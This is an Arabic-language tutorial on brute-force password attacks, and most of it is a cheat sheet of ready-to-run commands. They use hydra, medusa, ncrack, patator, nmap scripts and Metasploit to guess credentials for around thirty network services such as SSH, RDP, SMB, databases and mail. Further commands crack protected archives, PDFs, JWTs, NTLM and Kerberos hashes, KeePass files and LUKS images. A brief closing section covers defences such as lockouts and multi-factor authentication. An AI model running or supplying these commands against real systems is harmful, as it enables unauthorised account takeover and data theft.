كيفية اختراق الحسابات بالتخمين - هجوم القوة الغاشمة

هجوم القوة الغاشمة كيفية اختراق الحسابات بالتخمين

هجوم القوة الغاشمة - Brute-Force Attack

هو هجوم القاموس – Dictionary Attack  ، حيث يعمل الهكر من خلال قاموس لكلمات المرور المحتملة ويجربها جميعًا.

تبدأ هجمات القاموس ببعض التخمينات حول كلمات المرور الشائعة لمحاولة التخمين من القائمة الموجودة في القاموس. تميل هذه الهجمات إلى أن تكون قديمة نوعًا ما ، نظرًا لتقنيات أحدث وأكثر فعالية.

أجهزة الكمبيوتر الحديثة التي تم تصنيعها خلال السنوات العشر الماضية يمكنها كسر كلمة مرور مكونة من 8 أحرف أبجدية رقمية - الأحرف الكبيرة والصغيرة والأرقام والأحرف الخاصة - في حوالي ساعتين. 

أجهزة الكمبيوتر سريعة للغاية بحيث يمكنها فك تشفير الهاش (بتشفير ضعيف) في غضون أشهر . تُعرف هذه الأنواع من هجمات القوة الغاشمة بالبحث الشامل عن المفاتيح ، حيث يحاول الكمبيوتر كل مجموعة ممكنة  للعثور على المجموعة الصحيحة.

إعادة تدوير بيانات الاعتماد هو نوع آخر من هجمات القوة الغاشمة التي تعيد استخدام أسماء المستخدمين وكلمات المرور من تسريبات البيانات الأخرى لمحاولة اختراق أنظمة أخرى.

يستخدم هجوم القوة الغاشمة العكسي كلمة مرور شائعة مثل "Password" أو "123456" . نظرًا لأن كلمة المرور هي واحدة من أكثر كلمات المرور شيوعًا في عام 2017 ، فإن هذه التقنية أكثر نجاحًا مما تعتقد.


الدوافع وراء هجمات القوة الغاشمة

تحدث هجمات القوة الغاشمة في المراحل الأولى من سلسلة القتل السيبراني Cyber Kill Chain ، عادةً خلال مرحلتي الاستطلاع والتسلل. 

يحتاج المهاجمون إلى الوصول لنقاط الدخول إلى أهدافهم ، وتقنيات القوة الغاشمة هي طريقة للحصول على هذا الوصول. 

بمجرد دخولهم إلى الشبكة ، يمكن للمهاجمين استخدام تقنيات القوة الغاشمة لتصعيد امتيازاتهم أو لتشغيل هجمات الرجوع إلى إصدار أقدم من التشفير.

يستخدم المهاجمون أيضًا هجمات القوة الغاشمة للبحث عن صفحات الويب المخفية. صفحات الويب المخفية هي مواقع ويب موجودة على الإنترنت غير مفهرسة في محركات البحث وغير مرتبطة بصفحات أخرى مثل صفحات لوحة تحكم مدير الموقع Login والكونفيج وغيرها . 

يختبر هجوم القوة الغاشمة عناوين URLS مختلفة لمعرفة ما إذا كانت تُعيد صفحة ويب صالحة Response code 200، وسوف تبحث عن صفحة يمكنهم استغلالها. 

أشياء مثل ثغرة برمجية في الشفرة يمكن استخدامها للاختراق - مثل الثغرة المستخدمة للتسلل إلى Equifax ، أو صفحة ويب تحتوي على قائمة بأسماء المستخدمين وكلمات المرور المكشوفة للعامة .

هناك القليل من الابداع في هجوم القوة العمياء ، لذلك يمكن للمهاجمين أتمتة (Automate) العديد من الهجمات لتعمل بالتوازي Threading لتوسيع امكانية العثور على النتيجة المنشودة بالنسبة لهم .

كيفية اختراق الخدمات بواسطة التخمين  Brute-Force Services Password-Cracking 

ستحتاج تثبيت بعض الادوات Nmap, Hydra, Metasploit, Patator, Hash-identifier ان كنت لا تستخدم نظام اختبار اختراق مثل Kali Linux و BackBox و ParrotSec-OS ...
تحتاج ايضا الى قوائم او قاموس كلمات المرور الشائعة او المسربة يمكنك الحصول عليها من هنا
في اغلب طرق اختراق الخدمات عبر التخمين او القوة الغاشمة Brute-Force ستحتاج تضمين هذه البارامترات
  • <IP> او RHOSTS  تعوضه بال اي بي الخاص بالسرفر المستهدف
  • <PATH_PASSWDS> او passwords.txt تستبدله بملف يحتوي على قائمة كلمات مرور
  • <PATH_USERS>  او <username> تستبدله بملف يحتوي على قائمة اسماء المستخدمين مثل ADMIN , ROOT, USER
  • RPORT تقوم باستبدالها بالبورت المراد اختراقه

اختراق الخدمات Brute-Force Attack Services

الطرق مرتبة حسب الحروف الابجدية

AFP
nmap -p 548 --script afp-brute <IP>
msf> use auxiliary/scanner/afp/afp_login
msf> set BLANK_PASSWORDS true
msf> set USER_AS_PASS true
msf> set PASS_FILE <PATH_PASSWDS>
msf> set USER_FILE <PATH_USERS>
msf> run
AJP
nmap --script ajp-brute -p 8009 <IP>
Cassandra
nmap --script cassandra-brute -p 9160 <IP>
CouchDB
msf> use auxiliary/scanner/couchdb/couchdb_login
hydra /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
Elasticsearch
hydra /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
FTP اختراق بروتوكول نقل الملفات
hydra -l root -P passwords.txt [-t 32] <IP> ftp
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
HTTP Generic Brute
​WFuzz​
HTTP Basic Auth
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
# Use https-get mode for httpS
medusa -h <IP> -u <username> -P  <passwords.txt> -M  http -m DIR:/path/to/auth -T 10
HTTP - Post Form
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb  http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for httpS
For https you have to change from "http-post-form" to "https-post-form"

HTTP - CMS -- (W)ordpress, (J)oomla or (D)rupal or (M)oodle
cmsmap -f W/J/D/M -u a -p a https://wordpress.com
IMAP
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
nmap -sV --script imap-brute -p <PORT> <IP>
IRC
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>
ISCSI
nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>
LDAP
nmap --script ldap-brute -p 389 <IP>
Mongo
nmap -sV --script mongodb-brute -n -p 27017 <IP>
use auxiliary/scanner/mongodb/mongodb_login
MySQL اختراق قواعد البيانات
hydra -L usernames.txt -P pass.txt <IP> mysql
msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false
OracleSQL
patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
./odat.py passwordguesser -s $SERVER -d $SID
./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt
#msf1
msf> use admin/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORT 1521
msf> set SID <SID>
#msf2, this option uses nmap and it fails sometimes for some reason
msf> use scanner/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORTS 1521
msf> set SID <SID>
#nmap fails sometimes for some reson executing this script
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>
In order to use oracle_login with patator you need to install:

pip3 install cx_Oracle --upgrade
​Offline OracleSQL hash bruteforce (versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2, and 11.2.0.3):

 nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
POP
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
PostgreSQL
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> postgres
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
ncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP>:5432
patator pgsql_login host=<IP> user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt
use auxiliary/scanner/postgres/postgres_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
PPTP
You can download the .deb package to install from https://http.kali.org/pool/main/t/thc-pptp-bruter/

sudo dpkg -i thc-pptp-bruter*.deb #Install the package
cat rockyou.txt | thc-pptp-bruter –u <Username> <IP>
RDP اختراق ريموت ديسك توب
ncrack -vv --user <User> -P pwds.txt rdp://<IP>
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
Redis
msf> use auxiliary/scanner/redis/redis_login
nmap --script redis-brute -p 6379 <IP>
hydra –P /path/pass.txt <IP> redis
Rexec
hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
Rlogin
hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
Rsh
hydra -L <Username_list> rsh://<Victim_IP> -v -V
​http://pentestmonkey.net/tools/misc/rsh-grind​

Rsync
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>
RTSP
hydra -l root -P passwords.txt <IP> rtsp
SNMP
msf> use auxiliary/scanner/snmp/snmp_login
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt <IP>
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp
SMB
nmap --script smb-brute -p 445 <IP>
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
SMTP
hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
SQL Server
#Use the NetBIOS name of the machine as domain
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> mssql
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssql
nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts <host> #Use domain if needed. Be carefull with the number of password in the list, this could block accounts
msf> use auxiliary/scanner/mssql/mssql_login #Be carefull, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT
SSH
hydra -l root -P passwords.txt [-t 32] <IP> ssh
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ssh
Telnet
hydra -l root -P passwords.txt [-t 32] <IP> telnet
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M telnet
VNC
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s <PORT> <IP> vnc
medusa -h <IP> –u root -P /root/Desktop/pass.txt –M vnc
ncrack -V --user root -P /root/Desktop/pass.txt <IP>:>POR>T
patator vnc_login host=<IP> password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0use auxiliary/scanner/vnc/vnc_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
Winrm
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt

كيفية فتح ملف Zip محمي بكلمة سر
fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip
zip2john file.zip > zip.john
john zip.john
كيفية فتح ملف 7z محمي بكلمة سر
cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
#Download and install requirements for 7z2john
wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.pl
apt-get install libcompress-raw-lzma-perl
./7z2john.pl file.7z > 7zhash.john
كيفية فتح ملف PDF محمي بكلمة سر
apt-get install pdfcrack
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
#pdf2john didnt worked well, john didnt know which hash type was
# To permanently decrypt the pdf
sudo apt-get install qpdf
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf
JWT
git clone https://github.com/Sjord/jwtcrack.git
cd jwtcrack
#Bruteforce using crackjwt.py
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
#Bruteforce using john
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
john jwt.john #It does not work with Kali-John
NTLM cracking
Format:USUARIO:ID:HASH_LM:HASH_NT:::
jhon --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot
Keepass
sudo apt-get install -y kpcli #Install keepass tools like keepass2john
keepass2john file.kdbx > hash #The keepass is only using password
keepass2john -k <file-password> file.kdbx > hash # The keepas is also using a file as a needed credential
#The keepass can use password and/or a file as credentials, if it is using both you need to provide them to keepass2john
john --wordlist=/usr/share/wordlists/rockyou.txt hash
Keberoasting
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
Lucks image
Method 1
bruteforce-luks -f ./list.txt ./backup.img
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt
Method 2
cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
hashcat -m 14600 luckshash 
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt
Mysql
#John hash format
<USERNAME>:$mysqlna$<CHALLENGE>*<RESPONSE>
dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d
Tools

معرفة نوع تشفير الهاش Hash-identifier
hash-identifier <هنا تلصق الهاش بدون اقواس>
توليد كلمات مرور John mutation 
Read /etc/john/john.conf and configure it

john --wordlist=words.txt --rules --stdout > w_mutated.txt
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
Hashcat
hashcat --example-hashes | grep -B1 -A2 "NTLM"
Cracking Linux Hashes - /etc/shadow file

 500 | md5crypt $1$, MD5(Unix)                          | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix)                      | Operating-Systems
7400 | sha256crypt $5$, SHA256(Unix)                    | Operating-Systems
1800 | sha512crypt $6$, SHA512(Unix)                    | Operating-Systems
Cracking Windows Hashes

3000 | LM                                               | Operating-Systems
1000 | NTLM                                             | Operating-Systems
Cracking Common Application Hashes

  900 | MD4                                              | Raw Hash
    0 | MD5                                              | Raw Hash
 5100 | Half MD5                                         | Raw Hash
  100 | SHA1                                             | Raw Hash
10800 | SHA-384                                          | Raw Hash
 1400 | SHA-256                                          | Raw Hash
 1700 | SHA-512                                          | Raw Hash

مواقع فك تشفير الهاش اونلاين Online cracking databases

كيفية الحماية ضد هجمات Brute Force Attack

تحتاج هجمات القوة الغاشمة إلى وقت كبير لكسر كلمات المرور. قد تستغرق بعض الهجمات أسابيع أو حتى شهورًا لتقديم أي شيء يمكن استخدامه. 

تتضمن معظم الدفاعات ضد هجمات القوة الغاشمة زيادة الوقت اللازم للنجاح بما يتجاوز ما هو ممكن تقنيًا ، لكن هذا ليس الدفاع الوحيد.

زيادة طول كلمة المرور : المزيد من الأحرف يساوي وقتًا أطول لقوة الكراك
زيادة تعقيد كلمة المرور : تؤدي المزيد من الخيارات لكل حرف أيضًا إلى زيادة الوقت اللازم لإجبار الكراك.

الحد من محاولات تسجيل الدخول : تزيد هجمات القوة الغاشمة من محاولات تسجيل الدخول الفاشلة في معظم خدمات الدليل - الدفاع الجيد ضد هجمات القوة الغاشمة هو حظر المستخدمين بعد بضع محاولات فاشلة (بعد 5 محاولات فاشلة مثلا)، وبالتالي إبطال هجوم التخمين قيد التقدم.

تفعيل Captcha : يعد Captcha نظامًا شائعًا للتحقق من أن الإنسان هو إنسان على مواقع الويب ويمكنه إيقاف هجمات القوة الغاشمة الجارية

استخدام المصادقة متعددة العوامل: تضيف المصادقة متعددة العوامل طبقة ثانية من الأمان لكل محاولة تسجيل دخول تتطلب تدخلاً بشريًا يمكن أن يوقف هجوم القوة الغاشمة من النجاح

تبدأ الطريقة الاستباقية لوقف هجمات القوة الغاشمة بالمراقبة. يراقب Varonis نشاط Active Directory وحركة مرور VPN لاكتشاف هجمات القوة الغاشمة الجارية. 

من الأفضل اكتشاف هجوم قيد التقدم وإيقاف الهجوم بفاعلية بدلاً من أن تأمل أن تكون كلمات مرورك غير قابلة للاختراق. 

بمجرد اكتشاف الهجوم وإيقافه ، يمكنك حتى وضع عناوين IP في القائمة السوداء ومنع المزيد من الهجمات من نفس الكمبيوتر.